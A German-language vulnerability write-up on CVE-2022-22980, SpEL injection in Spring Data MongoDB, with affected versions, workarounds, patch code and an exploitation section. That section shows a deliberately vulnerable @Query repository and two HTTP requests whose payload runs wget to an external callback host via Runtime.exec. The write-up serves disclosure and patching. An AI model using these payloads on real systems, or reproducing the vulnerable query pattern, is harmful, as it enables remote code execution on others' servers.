
[CVE-2022-22980] SpEL-Expression-Injection in Spring Data MongoDB
[CVE-2022-22980] Spring Data MongoDB SpEL-Ausdrucks-Injektion
MongoDB ist eine dokumentenorientierte NoSQL-Datenbank, die skalierbar und flexibel ist und für die Speicherung großer Datenmengen verwendet wird. Anstatt wie bei den traditionellen relationalen Datenbanken Tabellen und Zeilen zu verwenden, nutzt MongoDB Sammlungen (Collections) und Dokumente. Dokumente bestehen aus Schlüssel-Wert-Paaren, die die grundlegende Dateneinheit in MongoDB darstellen.
Spring Data for MongoDB ist Teil des Dachprojekts Spring Data, das ein vertrautes und konsistentes, auf Spring basierendes Programmiermodell für neue Datenspeicher bereitstellen soll, während die speicherspezifischen Funktionen und Fähigkeiten erhalten bleiben. Das Spring Data MongoDB-Projekt bietet die Integration in die MongoDB-Dokumentendatenbank. Zu den wichtigsten funktionalen Bereichen von Spring Data MongoDB gehören ein POJO-zentriertes Modell für die Interaktion mit einer MongoDB-DBCollection und das einfache Erstellen einer Datenzugriffsschicht im Repository-Stil.
Am 20. Juni 2022 veröffentlichte VMware auf seiner offiziellen Website einen Sicherheitshinweis, der sich auf die Schwachstelle der SpEL-Ausdrucks-Injektion (führt zu Remote-Codeausführung) bezieht, die Spring Data MongoDB betrifft. Detaillierte Informationen über die Schwachstelle CVE-2022-22980 finden Sie weiter unten.
Schwachstelle
Eine Spring Data MongoDB-Anwendung ist anfällig für SpEL-Injektion, wenn mit @Query oder annotierte Abfragemethoden mit SpEL-Ausdrücken verwendet werden, die Platzhalter für Abfrageparameter zur Wertbindung enthalten, sofern die Eingabe nicht bereinigt wird. Alternativ sind auch Szenarien anfällig, die Repository-Abfragemethoden ohne zusätzlichen Anwendungscode bereitstellen (wie etwa Spring Data REST).
Insbesondere ist eine Anwendung anfällig, wenn alle der folgenden Punkte zutreffen:
@Aggregation@Query oder @Aggregation annotiert, die SpEL (Spring Expression Language) verwenden und Eingabeparameter-Referenzen (?0, ?1, …) innerhalb des SpEL-Ausdrucks nutzenEine Anwendung ist nicht anfällig, wenn einer der folgenden Punkte zutrifft:
QueryMethodEvaluationContextProvider verwendet, der die SpEL-Nutzung einschränktBetroffene Versionen
Spring Data MongoDB 3.4.0, 3.3.0 bis 3.3.4 und ältere Versionen sind von der Schwachstelle CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection betroffen.
Status
Spring Data MongoDB 3.4.1 und 3.3.5, die die Korrekturen enthalten, wurden veröffentlicht.
Abhilfe und empfohlene Umgehungslösungen
Die bevorzugte Maßnahme ist die Aktualisierung auf Spring Data MongoDB 3.4.1 und 3.3.5 oder höher. Wenn Sie dies getan haben, sind keine Umgehungslösungen erforderlich. Einige befinden sich jedoch möglicherweise in einer Situation, in der ein Upgrade nicht schnell durchgeführt werden kann. Aus diesem Grund hat das Spring-Team im Folgenden einige Umgehungslösungen bereitgestellt.
Verwendung der Array-Syntax: Wenn die Anwendung dynamische SpEL-Ausdrücke erfordert, die durch Benutzereingaben gesteuert werden, schreiben Sie die Abfrage- oder Aggregationsdeklarationen so um, dass innerhalb des Ausdrucks Parameterreferenzen ([0] anstelle von ?0) verwendet werdenImplementieren einer benutzerdefinierten Repository-Methode: Das Ersetzen des SpEL-Ausdrucks durch eine Implementierung einer benutzerdefinierten Repository-Methode ist eine praktikable Umgehungslösung, um Ihre dynamische Abfrage innerhalb des Anwendungscodes zusammenzustellen. Weitere Einzelheiten finden Sie in der Referenzdokumentation zur Repository-Anpassung.Patch-Analyse: GitHub Issue und zugehörige Commits
Das GitHub Issue zur SpEL-Injektions-Schwachstelle ist unter github.com/spring-projects/spring-data-mongodb/issues/4089 abrufbar.
Mit Hilfe der beiden unten aufgeführten Commits wurde die zugehörige Schwachstelle behoben.
Mit diesen Commits wurde die Klasse spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java hinzugefügt.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

Die Klasse spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java wurde ebenfalls wie folgt geändert:

Die endgültige (korrigierte) Version der Klasse spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java sieht wie folgt aus:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
Und dank der Umstrukturierung der Klasse ParameterBindingJsonReader.java wird sichergestellt, dass der Parametertyp beim Binden von Parametern, die innerhalb des Werts der Query- oder Aggregation-Annotation verwendet werden, erhalten bleibt. Sie können die Commit-Änderungen an der Klasse ParameterBindingJsonReader.java in den nachfolgenden Screenshots sehen:



Schritte zur Ausnutzung
Bevor die Schritte zur Ausnutzung erläutert werden, wird die Klasse UserRepository.java des anfälligen Beispielprojekts (unter Verwendung der @Query-Annotation) wie folgt dargestellt:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
Die Beispiel-Controller-Klasse UserController.java, die den Namespace com.example.mongodb.repository.UserRepository importiert, wird ebenfalls wie folgt dargestellt:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
Exploit-Anfrage und -Antwort
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

Weitere Informationen zur Behebung dieser Schwachstelle finden Sie unter den folgenden Ressourcen:
Danksagungen: